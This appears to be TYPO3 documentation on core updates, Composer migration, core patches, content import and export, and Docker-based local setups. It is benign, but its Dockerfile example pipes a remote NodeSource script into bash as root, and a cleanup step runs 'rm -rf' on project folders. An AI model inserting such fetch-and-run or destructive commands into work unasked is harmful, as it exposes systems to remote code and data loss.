Remove Temporary Assets > Scan temporary files button and select the
appropriate folders.
Note
When you delete the _processed_/ folder of a file storage all scaled
images will be removed and the according images processed again when
visiting a webpage the next time. This may slow down the first rendering of
the webpage.
The option "Remove temporary assets" in the Install Tool.
Update backend translations
In the Install tool, go to the module "Maintenance" -> "Manage languages" and
update your translations. If you don't update your translations, new texts will
only be displayed in English. Missing languages or translations can be added
following the section
Internationalization and Localization.
The option "Manage language packs" in the Install Tool
Verify webserver configuration (.htaccess)
After an update, the .htaccess file may need adoption for the latest TYPO3
major version (for Apache webservers), see details on .htaccess.
Compare the file vendor/typo3/cms-install/Resources/Private/FolderStructureTemplateFiles/root-htaccess
(or .htaccess)
with your project's .htaccess file and adapt new rules accordingly. If you never
edited the file, copy it over to your project to ensure using the most recent version.
Your project's .htaccess file should be under version control and part of your
deployment strategy.
If you maintain a custom extension or site package, see this
guide for tips on versioning, upgrading for new TYPO3 releases, and
ensuring compatibility.
A collection of third-party resources that can assist with upgrade and
maintenance tasks.
Rector for TYPO3
Rector for TYPO3 was created to help developers upgrade their TYPO3 installations
and ensure their extensions support the latest versions of PHP and TYPO3. Rector
scans your code base and replaces any deprecated functions with an appropriate
replacement. Rector can also help ensure better code quality by means of automated refactoring.
Rector can run as a standalone package or it can be integrated with your CI pipeline.
Visit the TYPO3 Slack and search for the #ext-typo3-rector
channel. You can also open an issue or start a discussion on the projects GitHub page.
EXT: Core Upgrader (v2)
The TYPO3 extension was initially developed as
EXT:core-upgrader (Composer package
ichhabrecht/core-upgrader, compatible up to TYPO3 v10) and has been forked as
EXT:core-upgraderv2 (Composer package
wapplersystems/core-upgrader, compatible up to TYPO3 v12).
The extension allows to perform multiple TYPO3 Core version upgrades in one step by offering
the older upgrade wizards.
The "Install Tool" in the section "Important Actions" provides a function to
update the TYPO3 Core.
In the section "Important Actions" scroll down to "Core update" and click the
"Check for core updates" button. If the requirements are met, TYPO3 will
automatically install the new source code.
Note
For the Core Updater to work, the following setup is required:
It only works in Unix-like systems (including macOS).
typo3_src must be a symlink.
This symlink needs to be writable (and deletable) by the web-server user.
The document root needs to be writable.
One path above document root (../) needs to be writable (creation
of new directories must be allowed).
The tar command must be available (for extracting the Source
package).
Extract the package on your web server and, in your TYPO3 document root,
adjust the typo3_src symlink.
Important
Make sure to upload the whole TYPO3 source directory including the
vendor directory, otherwise you will miss important dependency
updates.
Disabling the Core Updater
The Core Updater functionality can be turned off, in order to avoid users using it,
i.e. if you use your own update mechanism.
This feature is already disabled when TYPO3 is installed via Composer.
To disable the Core updater, you can set this environment variable:
Environment variable
TYPO3_DISABLE_CORE_UPDATER=1
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For example in Apache:
typo3_root/public/.htaccess
SetEnv TYPO3_DISABLE_CORE_UPDATER 1
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or for NGINX:
/usr/local/nginx/conf/nginx.conf
server {
location~ path/to/it {
include fastcgi_params;
fastcgi_param TYPO3_DISABLE_CORE_UPDATER "1";
}
}
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This will remove the button and all related functionality in the Install
Tool.
What's the Next Step?
In case you performed a minor update, e.g. from TYPO3 12.4.0 to 12.4.1, database
updates are usually not necessary, though you still have to
remove the temporary cache files. After
that your update is finished.
Note
Make sure to read the release notes of even the minor versions carefully. While
great care is taken to keep the minor updates as easy as possible, (especially
when releasing security updates) more steps might be necessary.
In case of a major update, e.g. from TYPO3 11.5 to 12.4, go ahead with the next
step!
Also check out any breaking changes listed in the changelog
for the new version.
Applying Core patches
At some point you may be required to apply changes to TYPO3's core. For example
you may be testing a colleague's feature or working on a patch of your own.
Never change the code found in the Core directly. This includes all files in
typo3/sysext and vendor.
Any manual changes you make to TYPO3's Core will be overwritten as soon as the Core
is updated.
Changes that need to be applied to the Core should be stored in *.diff files
and reapplied after each update.
Automatic patch application with cweagans/composer-patches
Automatic application of patches with this method only works with
Composer.
To automatically apply patches first install cweagans/composer-patches:
composer req cweagans/composer-patches
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Choose a folder to store all patches in. This folder should ideally be outside
of the webroot. Here we use the folder patches on the same level as
the project's main composer.json. Each patch can be applied to exactly
one composer package. The paths used in the patch must be relative to the
packages path.
Edit your project's main composer.json. Add a section patches
within the section extra. If there is no section extra yet,
add one.
Changes to the patch file after the patch was applied successfully will
not be automatically applied. In that case delete the installed sources
and execute
composer install once more.
If applying the patch fails, you may get a cryptic error message like:
Example error message
Could not apply patch! Skipping. The error was: Cannot apply patch patches/Bug-98106.diff
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You can get a more verbose error message by calling:
In case a new Core version has not been released yet, but you urgently need
to apply a certain patch, you can download that patch from the corresponding change
on https://review.typo3.org/.
Choose Download patch from the option menu (3 dots on top of each
other):
Download patch in the option menu
Then choose your preferred format from the section Patch file.
Download Patch file
Unzip the diff file and put it into the folder patches of your project.
Core diff files are by default relative to the typo3 web-dir directory.
And they can contain changes to more than one system extension. Furthermore
they often contain changes to files in the directory Tests that is not
present in a Composer based installation.
Remove all changes to the directory Tests and other files or directories
that are not present in your installation's source. Change all paths to be
relative to the path of the extension that should be changed. If more then
one extension needs to be changed split up the patch in several parts, one for
each system extension.
For example the following patch contains links relative to the web root and
contains a test:
Apply a core patch automatically via gilbertsoft/typo3-core-patches
With the help of the Composer package gilbertsoft/typo3-core-patches a Core
patch can be applied automatically. It works on top of
cweagans/composer-patches. You need at least
PHP 7.4 and composer 2.0.
First, install the package:
composer req gilbertsoft/typo3-core-patches
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Then look up the change ID on review.typo3.org <https://review.typo3.org/>.
You can find it in the URL or left of the title of the change. In the example
it's 75368.
Look up the change id
Now execute the following command with your change ID:
composer typo3:patch:apply <change-id>
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You can find more information about the package and its usage in the
documentation.
Composer is a program that is written in PHP. Instructions for downloading and
installing Composer can be found on getcomposer.org.
Your host needs to be able to execute the
composer binary.
Folder structure
If the root folder of your project is identical to your web root folder, you
need to change this. Composer will add a vendor/ folder to your project
root, and if your project root and your web root are identical, this can
be a security issue: files in the vendor/ folder could be directly
accessible via HTTP request.
You will need a web root folder in your project. You can find many
tutorials with different names for your web root folder (e.g. www/,
htdocs/, httpdocs/, wwwroot/, html/).
The truth is: the name does not matter because we can configure it in the
settings in a later step. We will use public/ in our example.
Here you would access the installation via https://example.com/cms/public/index.php,
which would also be a security issue as any other directory outside of the
dedicated project root directory could be accessible.
Also having a directory structure like that can create file and directory
resolving issues within the TYPO3 backend.
If you do not have such a web root directory, you will have to refactor your
project before proceeding. First, you create the new directory public/ and
basically move everything you have inside that subdirectory. Then check all
of your custom code for path references that need to be adjusted to add
the extra public/ part inside of it. Usually, HTTP(S) links are relative
to your root, so only absolute path references may need to be changed (e.g. cronjobs,
CLI references, configuration files, .gitignore, ...).
Please be aware that you very likely need to tell your web
server about the changed web root folder if necessary. You do that by changing a
DocumentRoot (Apache) or root (Nginx) configuration option. Most hosting
providers offer a user interface to change the base directory of your project.
For local development with DDEV or Docker <https://docker.com>
you will also need to adjust the corresponding configuration files.
Git version control, local development and deployment
This migration guide expects that you are working locally with your project and use
Git version control for it.
If you previously used the TYPO3 Classic mode installation (from a release ZIP) and did
not yet use Git versioning, this is a good time to learn about version control first.
All operations should ideally take place in a separate branch of your Git repository.
Only when everything is completed you should move your project files to your
staging/production instance (usually via deployment,
or via direct file upload to your site). If you do not yet use deployment techniques, this is
a good time to learn about that.
Composer goes hand in hand with a good version control setup and a deployment workflow.
The initial effort to learn about all of this is well worth your time, it will
make any project much smoother and more maintainable.
Local development platforms like DDEV, Docker
or XAMPP/WAMPP/MAMPP
allow you to easily test and maintain TYPO3 projects, based on these git, docker and
composer concepts.
Of course you can still perform the Composer migration on your live site without
version control and without deployment, but during the migration your site will not be
accessible, and if you face any problems, you may not be able to easily revert to the
initial state.
Code integrity
Your project must have the TYPO3 Core and all installed extensions in their
original state. If you applied manual changes to the files, these will
be lost during the migration steps.
Note
If you need to apply hotfixes or patches to system extensions or publicly
available extensions, this tutorial about applying patches via Composer
could help, but requires some advanced steps.
Migration steps
Note
If you are not familiar with Composer, please read the following documents
first:
It is recommended to perform a Composer migration using the latest TYPO3 major release to prevent
bugs and issues that have been solved in newer versions. If you
are using an older TYPO3 version in Classic mode, you have two options:
Upgrade TYPO3 Classic mode installation first, then migrate to Composer. This is probably
more straight-forward as you can follow the Classic mode Upgrade Guide, and then this guide.
Migrate the old TYPO3 version to Composer first, then perform a major upgrade.
This might be a bit tricky, because you have to use older versions of
typo3/cms-composer-installers and dependencies like helhum/typo3-console, or outdated
extensions on Packagist.
You will need to read through older versions of this guide that match
your TYPO3 version (use the version selector of the documentation).
Delete files
Make a backup first! If things go wrong, you can at least go back to the old
version. You need a backup of
all files of your TYPO3 installation (by using FTP, SCP, rsync, or any other
method)
the database (by exporting the database to an SQL file)
Also, you may prefer to upgrade a copy of your site first, if there have been a
lot of changes and some of them might interfere with functions of your site.
See the changelog to check that.
For more detailed information about TYPO3 backups see Backups and recovery
in TYPO3 Explained.
Yes, it's true that you will have to delete some files, because they will be newly created by
Composer in some of the next steps.
You will have to delete public/index.php, public/typo3/ and any
extensions that you have downloaded from the TYPO3 Extension Repository (TER) or
other resources like GitHub in public/typo3conf/ext/. Also, delete your own custom
extensions if they are published in a separate Git repository or included as a Git submodule.
Only keep your sitepackage extension and extensions which have been
explicitly built for your current project and do not have their own Git
repository.
Configure Composer
Create a file named composer.json
in your project root (not in your web root).
You can use the composer.json file from typo3/cms-base-distribution as an
example. Use the file from the branch which matches your current version, for
example 12.x.
However, this file may require extensions you don't need or omit extensions you do
need, so be sure to update the required extensions as described in the next
sections.
Other ways of creating the composer.json file are via a
composer init command,
the TYPO3 Composer Helper
or advanced project builders like CPS-IT project-builder
which use a guided approach to create the file.
Hint
If you see versions of the composer.json for versions older than TYPO3 v12,
you may see references to a scripts section that makes use of
helhum/typo3-console.
This is optional.
This uses the Packagist repository by default,
which is the de-facto standard for Composer packages.
Composer packages follow a concept called SemVer <https://semver.org/ (semantic
versioning). This splits version numbers into three parts:
Major version (1.x.x)
Minor version (x.1.x)
Patch-level (x.x.1)
Major versions should include intentional breaking changes (like a new API,
changed configuration directives, removed functionality).
New features are introduced in minor versions (unless it is breaking change).
Patch-level releases only fix bugs and security issues and should never add
features or breaking changes.
These Composer version constraints
allow you to continuously update your installed packages and get an expected outcome
(no breaking changes or broken functionality).
There are different ways to define the version of the package you want
to install. The most common syntaxes start with ^ (e.g.
^12.4) or with ~ (e.g. ~12.4.0). Full documentation can be
found at https://getcomposer.org/doc/articles/versions.md
In short:
^12.4 or ^12.4.0 tells Composer to add the newest package of
version 12.\* with at least 12.4.0. When a package releases
version 12.9.5, you would receive that version. Version
13.0.1 would not be fetched. So this allows any new
minor or patch-level version, but not a new major version.
~12.4.0 tells Composer to add the newest package of version
12.4.\* with at least 12.4.0, but not version 12.5.0 or 13.0.1.
This would only fetch newer patch-level versions of a package.
You have to decide which syntax best fits your needs.
This applies to TYPO3 Core packages, extension packages and dependencies unrelated
to TYPO3.
As a first step, you should only pick the TYPO3 Core extensions to
ensure your setup works, and add third-party dependencies later.
Install the Core
Once the composer.json is updated,
install additional system extensions:
To find the correct package names, either take a look in the
composer.json of that system extension or follow the naming
convention
typo3/cms-<extension name with dash "-" instead of underscore "_">,
e.g. typo3/cms-fluid-styled-content. You can also go to Packagist
and search for typo3/cms- to see all listed packages.
Note
To find all TYPO3 Core packages, you can visit the TYPO3 Composer Helper website.
https://get.typo3.org/misc/composer/helper
This website allows you to select TYPO3 Core Packages and generate
the Composer command to require them.
Install extensions from Packagist
You know the TYPO3 Extension Repository (TER)
and have used it to install extensions? Fine.
However, with Composer the required way is now to install extensions
directly from Packagist.
This is the usual method for most extensions used today. Alternatively, some extension
authors and commercial providers offer a custom Composer repository that you can
use (see below). Installation is the
same -
composer require.
To install a TYPO3 extension you need to know the package name. There are multiple
ways to find it out:
Notice on extension's TER page
Extension maintainers can link their TYPO3 extension in TER with the
Composer package name on Packagist. Most maintainers
have done this and if you search for the extension in TER you will see which
command and Composer package name can be used to install the extension.
Note
The command
composer req is short for
composer require. Both commands
do exactly the same thing and are interchangeable.
Search on Packagist
Packagist has a quick and flexible search function. Often you can
search by TYPO3 extension key or name of the extension and you will most likely
find the package you are looking for.
Check manually
This is the most exhausting way - but it will work, even if the extension maintainer
has not explicitly provided the command.
Search for and open the extension you want to install, in
TER.
Click button "Take a look into the code".
Open file composer.json.
Search for line with property "name". Its value should be
formatted like vendor/package.
Example:
To install the mask extension version 8.3.*, type:
typo3_root$
composer require mask/mask:~8.3.0
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Install extension from version control system (e.g. GitHub, Gitlab, ...)
In some cases, you will have to install a TYPO3 extension that is not
available on Packagist or TER. For example:
a non-public extension only used in your company.
you forked and modified an existing extension.
commercial plugin / licensed download / Early Access (EAP)
As a first step, define the repository in the repositories section of your
composer.json. In this example the
additional lines are added to the top of composer.json:
The Git repository must point to a TYPO3 extension with a
composer.json.
See composer.json for details on what these files should look like.
Git tags in the repository are used as version numbers.
Instead of adding a single Git repository, it is also possible to add Composer repositories
that aggregate multiple packages through tools like Satis,
or Private Packagist repositories.
If these requirements are fulfilled, you can add your extension in the
normal way:
typo3_root$
composer require foo/bar:~1.0.0
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Include individual extensions like site packages
A project will often contain custom extensions, such as a sitepackage
which provides TYPO3-related project templates and configuration.
Before TYPO3 v12, these extensions were stored in the typo3conf directory typo3conf/ext/my_sitepackage.
Composer mode allows you to easily add a custom repository to your project
by using the path type. This means you can require your local sitepackage as if it was
a normal package without publishing it to a repository like
GitHub or on Packagist.
Usually these extensions are in a directory like <project_root>/packages/
or <project_root>/extensions/ (and no longer in typo3conf/ext/), so you would use:
Your sitepackage needs to be contained in its own directory like
<project_root>/packages/my_sitepackage/ and provide a composer.json file
in that directory. The composer.json file needs to list all the possible
autoloading information for PHP classes that your sitepackage uses:
Directory locations are always relative to where the extension-specific composer.json is
stored.
Do not mix up the project-specific composer.json file with the package-specific composer.json
file. Autoloading information is specific to an extension, so it is not usually listed in the
project file.
Now our example project's composer.json would look like this:
After adding or changing paths in the autoload section you should run
composer dumpautoload. This command
will re-generate the autoload information and should be run anytime you add new paths to the autoload section
in the composer.json.
After all custom extensions have been moved out of typo3conf/ext/ you can delete the directory
from your project. You may also want to adapt your .gitignore file to remove any entries
related to that old directory.
New file locations
Finally, some files will need to be moved because the location will have
changed for your site since moving to Composer.
The files listed below are internal files that should not be exposed to
the webserver, so they are should be moved outside the public/ structure.
At a minimum, the site configuration and the translations should be moved.
Move files:
typo3_root$
mv public/typo3conf/sites config/sites
mv public/typo3temp/var var
mv public/typo3conf/l10n var/labels
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Important
The var directory may already exist. In that case, move the files
individually. You can also delete the "old" files in
public/typo3temp/var, unless you need to keep the log files
or anything else that may still be relevant.
These locations have changed. Note that TYPO3 v12+ moved more configuration
files to a new directory than TYPO3 v11:
Migrating and accessing public web assets from typo3conf/ext/ to public/_assets
TYPO3 v12 requires the Composer plugin
typo3/cms-composer-installers
with v5, which automatically installs extensions into Composer's vendor/
directory, just like any other regular dependency. This increases the default
security, so that files from extensions can no longer be accessed directly via
HTTP.
In order to allow serving assets (images/icons, CSS, JavaScript) from the
public web folder, every directory Resources/Public/ of any
installed extension is symlinked from their original location to
a directory called _assets/ within the public web folder (public/ by
default).
The name of a symlinked directory is created as a MD5 hash to prevent possible
information disclosure. As of now, this hash depends on the extension name
and its Composer project path, so it will not change upon deployment. The specific
hashing is an implementation detail that may be subject to change with future TYPO3
major versions.
For example, a file that was previously accessible as
public/typo3conf/ext/my_extension/Resources/Public/Images/logo.svg will
now be stored in vendor/my-vendor/my-extension/Resources/Public/Images/logo.svg
and be symlinked to public/_assets/9e592a1e5eec5752a1be78133e5e1a60/Resources/Public/Images/logo.svg.
Migration
The general idea is, that if you follow the best practice of referencing to assets
via a EXT:my_extension/Resources/Public/... notation where applicable (TypoScript,
Fluid, PHP), you should not need to take further action.
When updating an older TYPO3 installation though, you may want to perform the following
migration steps:
Any references from your Fluid templates, CSS/JavaScript files (or similar)
that pointed to typo3conf/ext/... must now be changed (search your extension
code for typo3conf/ext/). Ideally change code within Fluid or TypoScript, so
that you can use a EXT:my_extension/Resources/Public/...
reference. Those will automatically point to the right _assets directory.
For example, the
f:uri.resource ViewHelper will help you with this, as
well as the TypoScript stdWrap insertData and data path or
typolink / IMG_RESOURCE
functionality. Also, in most YAML definitions you can use
the EXT:my_extension/Resources/Public/... notation.
Adjust possible frontend build pipelines which previously wrote files into
typo3conf/ext/... so that they are now put into your extension source
directory (for example, packages/my-extension/...).
Any other static links to these files (like PHP API endpoints) must be changed
to either utilize dynamic routes, middleware endpoints or static files/directories
from custom directories in your project's public web path.
References within the same extension should use relative links, for example use
background-image: url('../Images/logo.jpg') instead of
background-image: url('/typo3conf/ext/my_extension/Resources/Public/Images/logo.jpg').
You can use TypoScript/PHP/Fluid as mentioned above to create variables with
resolved asset URI locations. These variables can utilize the
EXT:my_extension/Resources/Public/... notation, and can be passed along
to a JavaScript variable or a HTML DOM/data attribute, so it can be further evaluated.
If one extension links to an asset from another extension, and you cannot use
the EXT:my_extension/Resources/Public/... syntax (for example, background images
in a CSS file) you should either:
Create a central, sitepackage-like extension that can take care of delivering
all assets. CSS classes could be defined that refer to assets, and then other
extensions could use the CSS class, instead of utilizing
their own
background-image: url(...) directives. Ideally, use a bundler
for your CSS/JavaScript (for example Vite, webpack, grunt/gulp, encore, ...)
so that you only have a single extension that is responsible for shared assets.
Bundlers can also help you to have a central asset storage, and distribute
copies of these assets to all dependencies/sub-packages that depend on these assets.
Utilize a PSR middleware or dynamic routes to "listen" on a specific URL like
dynamicAssets/logo.jpg and create a wrapper that returns specific files,
resolved via the TYPO3 method
PathUtility::getAbsoluteWebPath(GeneralUtility::getFileAbsFileName('EXT:my-extension/Resources/Public/logo.jpg').
If all else fails: You can link to the full MD5 hashed URL, like
background-image: url('/_assets/9e592a1e5eec5752a1be78133e5e1a60/Images/logo.jpg')
(or create a custom stable symlink, for example within your deployment, that points
to the hashed directory name).
The caveat of this: the hashing method may change in future TYPO3 major versions,
and since the hash is based on a Composer project directory, this is only a suitable
workaround for custom projects, and not publicly available extensions that need to
work in all installations. Changes to the location/name of the vendor/ directory
would then break frontend functionality.
The TYPO3-Console extension has a helpful
vendor/bin/typo3 frontend:asseturl command, that lists all the installed TYPO3
extensions plus their public resource directory hash.
For more details and the background about the change, read more:
If you use a version control system such as Git (and you really should!), it is
important to add both files composer.json and composer.lock
(which were created automatically during the previous steps). The
composer.lock file keeps track of the exact versions that are installed,
so that you are on the same versions as your co-workers (and when deploying to
the live system).
It is always good practice to exclude passwords from checked-in files
(for example, config/system/settings.php). A solution may be to add
the setting containing sensitive information to
config/system/additional.php and use an .env file in the
project directory to configure the password and other configuration along
with helhum/dotenv-collector.
Additionally, some files and folders added by Composer should be excluded:
All your co-workers should always run
composer install after they have
checked out the files. This command will install the packages in the appropriate
versions defined in composer.lock. This way, you and your co-workers
always have the same versions of the TYPO3 Core and the extensions installed.
Maintaining versions / composer update
In a living project, from time to time you will want to raise the versions of
the extensions or TYPO3 versions you use.
The proper way to do this is to update each package one by one (or at least
grouped with explicit names, if some packages belong together):
You can also raise the requirements on certain extensions if you want to
include a new major release:
typo3_root$
composer require someVendor/someExtension:^3.0
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For details on upgrading the TYPO3 Core to a new major version, please see
Upgrade the Core.
While it can be tempting to just edit the composer.json file manually,
you should ideally use the proper
composer commands to not introduce
formatting errors or an invalid configuration.
You should avoid running
composer update without specifying package names
explicitly. You can use regular maintenance automation (for example via
Dependabot) to regularly update dependencies
to minor and patch-level releases, if your dependency specifications are set up
like this.
After any update, you should commit the updated composer.lock file to your
Git repository. Ideally, you add a commit message which
composer command(s) you
specifically executed.
Migrate content
Maybe you have already done a lot of work on your TYPO3 installation and even
built more than one homepage with it. Now you want to copy parts of one
homepage to another installation.
This method won't copy any of your installed extensions. You have to take care
of moving them yourself. Records stored on root level (such as sys_file) records
don't get exported automatically.
Prerequisites
If the menu entries Export and Import are missing
from your page tree's context menu check that the system extension
impexp is loaded and installed.
On composer based installations it can be required via
If your TYPO3 installation is not based on composer you can run the command
with
typo3/sysext/core/bin/typo3 impexp:export instead.
and exports the entire TYPO3 page tree - or parts of it - to a data file of
format XML or T3D, which can be used for import into any TYPO3 instance.
The export can be fine-tuned through the complete set of options also
available in the export view of the TYPO3 backend:
You can see the complete list of options by calling the help for the command:
typo3_root$
vendor/bin/typo3 help impexp:export
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Manual export from the TYPO3 backend
Go to the export module
On the page tree left click on the page from where you want to start the
export. Select More options ...:
Select "More options..." from the context menu of the page tree
Then select Export from the context menu.
Select Then select "Export"
Select the tables to be exported
You can select the tables manually, from which
you want to export the entries correlated with the selected page. It
is also possible to include static relations to tables already present
in the target installation.
Select the tables to be exported
Choose number of levels to be exported
If you want to save all your data, including subpages,
select 'Infinite' from the Levels select box and hit the
Update Button at the end of the dialog.
Select the page levels to be exported
Check the included records
All included pages can be seen at the top of the dialog. Below the
dialog there is a detailed list of all data to be exported. It is
possible to exclude single records here. With some data types it
is possible to make them manually editable.
When the relation to records are lost these will be marked with an
orange exclamation mark. Reasons for lost relations include records
stored outside the page tree to be exported and excluded tables.
Check the exported data
Save or export the data
You can save the exported data to your server or download it in the
tab File & Preset.
Download the export data
Import your data
Note
Make sure all needed extensions are installed and the database scheme
is up to date before starting the import. Otherwise the data related
to non-existing tables will not get imported.
If your TYPO3 installation is not based on composer you can run the command
with
typo3/sysext/core/bin/typo3 impexp:import instead.
The import can be fine-tuned through the complete set of options also
available in the import view of the TYPO3 backend. You can see the complete
list of options by calling the help for the command:
typo3_root$
vendor/bin/typo3 help impexp:import
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Manual import from the TYPO3 backend
Upload the export file
Upload the file to your destination TYPO3 installation. Just like the
export module you find the import module in the page tree context menu
More options... -> Import. Choose the page whose subpage
the imported page should be as starting point for the import. If you
want to import the data at root-level, choose the
Upload the export data
Preview the data do be imported
A tree with the records to be imported gets displayed
automatically. If you change some options you can reload
this display with the preview button.
Preview the data
Import
Click the import button.
Importing data from old TYPO3 versions
The data structure for content exports has hardly changed since the early
ages of TYPO3. It is possible to export content from TYPO3 installations
that are 15 and more years old into modern TYPO3 Installations.
The following shows the export dialog of TYPO3 installation of version
3.8.0. It is often more feasible to use the Import / Export tool than to
attempt to update very old TYPO3 installations.
Export module of TYPO3 3.8.0 (year 2005)
Running TYPO3 in Docker on production
This section explains how to run TYPO3 in Docker-based environments for
local development and testing.
Many TYPO3 projects use DDEV for development,
which automates Docker setup and configuration.
This section helps you understand the underlying processes that DDEV manages
for you, such as container creation, service networking, volume mounting, and
port mapping.
If you are new to Docker, we recommend starting with the plain Docker setup
first. It explains each step manually and helps you understand how containers,
networking, and volumes work. Once you are familiar with these concepts, the
Docker Compose setup will be easier to follow and you will better understand
what it automates.
These examples help you understand how TYPO3 works in containers. They are
intended for local use and not recommended for production as-is.
This setup is intended for local testing and learning.
This guide shows how to set up a TYPO3 demo site using basic Docker commands —
without Docker Compose
or DDEV.
By building the environment step by step, you’ll learn how Docker actually works,
how containers run, how they talk to each other, how volumes persist data, and how
services like TYPO3 and MariaDB connect via networking. This hands-on setup is ideal
for those who want to understand the fundamentals of containerized TYPO3 — not just
use a prebuilt stack.
This is a local development setup, not a production deployment.
To quickly launch TYPO3 in classic mode with Docker:
/projects/typo3demo/$
mkdir -p fileadmin typo3conf typo3temp
# On Linux and WSL during development: Ensure TYPO3 can write to these directories# chmod -R 777 fileadmin typo3conf typo3temp
docker network create typo3-demo-net
Create a local project directory and subfolders for TYPO3's writable directories:
/projects/$
mkdir -p typo3demo
cd typo3demo
mkdir -p fileadmin typo3conf typo3temp
# On Linux and WSL during development: Ensure TYPO3 can write to these directories# chmod -R 777 fileadmin typo3conf typo3temp
All writable TYPO3 content is now persisted on your local machine.
TYPO3 Core files are reset when the container stops. You can inspect them
by accessing the TYPO3 container shell.
7. Stopping and starting the containers
To stop the webserver container for TYPO3, run:
docker stop typo3-demo
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To stop the database container (contained data will be kept), run:
/projects/typo3demo/$
docker stop typo3db
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To start the webserver container for TYPO3, run:
docker start typo3-demo
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To start the database container, run:
docker start typo3db
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Resetting the environment
To reset your TYPO3 demo environment completely, run the following script.
Caution
This will delete all data and containers.
Make sure you no longer need any files or database contents before proceeding.
After this cleanup, you can repeat the setup instructions to start fresh
with a clean environment.
Helpful Docker commands
Accessing the TYPO3 container shell
While the container is running in detached mode, you can open an
interactive shell in the container to inspect files, check logs,
or run TYPO3 console commands.
/projects/typo3demo/$
docker exec -it typo3-demo /bin/bash
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This opens an interactive bash shell inside the running TYPO3 container.
Type exit to leave the container shell.
Running TYPO3 console commands
TYPO3 provides a command-line interface (CLI) via the typo3/sysext/core/bin/typo3 script.
To run console commands in the running container, use:
Depending on your host operating system, TYPO3 may not be able to write
to mounted folders like fileadmin/, typo3conf/, or typo3temp/.
Symptoms include:
TYPO3 installer shows errors saving config
HTTP 500 errors
Cache or extension data not persisting
On Linux or WSL: File ownership and permission tips
Linux containers often run with a web server user like www-data (UID 33).
Your local files may need matching ownership or permissions:
# Quick fix for local development (not recommended for production)# chmod -R 777 fileadmin typo3conf typo3temp# Safer alternative: match the container's web server user (usually UID 33 for www-data)
sudo chown -R 33:33 fileadmin typo3conf typo3temp
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macOS and Windows Docker file permission issues
If you are using Docker Desktop, you usually do not need to change permissions.
Docker handles this automatically in most cases.
If you still run into issues, try restarting Docker and ensure file sharing is enabled
for the folder you're working in.
Selecting TYPO3 versions in the Docker container
By default, the martinhelmich/typo3 image runs the latest available TYPO3
LTS release (at the time of writing 13.4.*) when using the latest tag.
To run a specific TYPO3 version, use the corresponding image tag in your
docker run command. For example:
Instead of running each container manually with docker run, we define the
entire setup in a single docker-compose.yml file. This makes it easier
to start, stop, and manage services as a group.
mkdir compose_demo_typo3
cd compose_demo_typo3
mkdir -p fileadmin typo3conf typo3temp
# Linux/WSL only (fix permissions during development)# chmod -R 777 fileadmin typo3conf typo3temp# sudo chown -R 33:33 fileadmin typo3conf typo3temp
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Create the docker-compose.yml file
docker-compose.yml
services:db:image:mariadb:10.6container_name:compose-demo-typo3dbenvironment:MYSQL_ROOT_PASSWORD:rootMYSQL_DATABASE:dbMYSQL_USER:dbMYSQL_PASSWORD:dbvolumes:-db_data:/var/lib/mysqlweb:image:martinhelmich/typo3:latestcontainer_name:compose-demo-typo3# Using linux? Uncomment the line below and use CURRENT_UID=$(id -u):$(id -g) docker-compose up to run# user: ${CURRENT_UID}ports:-"8081:80"depends_on:-dbvolumes:-./fileadmin:/var/www/html/fileadmin-./typo3conf:/var/www/html/typo3conf-./typo3temp:/var/www/html/typo3tempvolumes:db_data:
Extending the community-maintained Docker image for TYPO3
In previous chapters, you learned how to run TYPO3 using the community-maintained
Docker image martinhelmich/typo3.
This is a convenient way to get started with TYPO3 13.4 and is suitable for many
development use cases.
However, you might need to add tools or functionality that are not included by
default in the image. This chapter demonstrates how to extend the image with
additional packages by building your own image on top of it.
A common use case is to install Node.js and npm, which are required for many
TYPO3 frontend build pipelines (for example: Webpack, Vite, Tailwind CSS).
Note
The martinhelmich/typo3 image is maintained by TYPO3 community members.
It is not an official image provided or endorsed by the TYPO3 Core Team.
Install Node.js and npm in the TYPO3 container
To extend the existing Docker image and install Node.js, create a file named
Dockerfile. For simplicity, you can place it in the same folder as your
docker-compose.yml file created in the chapter
Create the docker-compose.yml file.
To avoid conflicts with containers from previous examples, this image uses port
8082. For instructions on stopping or removing containers that use other ports,
refer to Stop and clean up.
Once the container is running, you can verify that Node.js is installed by
executing the following command:
docker exec -it typo3-nodejs node -v
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This should output the installed Node.js version (for example: v18.19.0).
You can now use Node.js inside the container to install frontend dependencies
or run build scripts required by your TYPO3 project.
Add a custom startup script
You can extend the image further by adding your own startup script. This is
useful if you want to run custom commands each time the container starts—for
example, to set file permissions, log environment variables, or flush caches.
Create a file named startup.sh in the same folder as your Dockerfile:
After running your extended image manually, you can now integrate it into the
Docker Compose setup described in the chapter
Create the docker-compose.yml file.
Before doing so, stop and remove the previously started container that used
your image:
# Stop previous example
docker stop typo3-nodejs
docker rm typo3-nodejs
# Stop previous Docker compose
docker compose down --volumes
# Remove data from previous runs
rm -rf typo3conf/* fileadmin/* typo3temp/*
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Then update your docker-compose.yml to build your custom image instead of
pulling martinhelmich/typo3 from Docker Hub.
This change tells Docker Compose to build the image locally using your
Dockerfile.
Make sure your Dockerfile and docker-compose.yml are in the same
directory, then start the services:
# Run this to force a rebuild of your local image:
docker compose build --no-cache
# Then bring it up:
docker compose up -d
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To verify that Node.js is available inside the container:
# Verify that Node.js is available:
docker exec -it compose-demo-typo3 node -v
# Verify that the startup script ran by checking for the log file
docker exec -it compose-demo-typo3 ls -l /var/www/html/startup.log
# See the output of the startup script:
docker logs compose-demo-typo3
This section demonstrates how to fully automate a TYPO3 installation using the CLI
command typo3 setup, removing the need to complete the install wizard in the
browser.
This is particularly useful for repeatable local setups, CI pipelines, or scripted
Docker environments.
Note
While this example uses a classic TYPO3 installation based on the
martinhelmich/typo3 image, the same approach can be adapted for
Composer-based projects. To do so, use a different base image (e.g.
php:8.4-apache) and update the CLI path to match the Composer installation,
typically vendor/bin/typo3.
Extend the Dockerfile to install gosu, which enables secure user switching, and include the startup.sh script to automate the setup process.
Dockerfile
FROM martinhelmich/typo3:13.4USER root
# Install Node.js and gosu (for user switching)RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \
apt-get install -y nodejs gosu# Copy the startup script into placeCOPY ./startup.sh /usr/local/bin/startup.shRUN chmod +x /usr/local/bin/startup.sh# Let the startup script run as entrypoint (it switches users internally)ENTRYPOINT ["/usr/local/bin/startup.sh"]
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Create a startup script that runs TYPO3 setup
The startup script checks if TYPO3 has already been installed. If not, it runs
the typo3 setup CLI command in non-interactive mode using environment
variables defined in Docker Compose.
Starts Apache in the foreground as required for Docker
Note
The gosu command is used instead of su to preserve environment variables
passed by Docker Compose. Without this, the typo3 setup command would not
receive the necessary database and admin credentials.
Tip
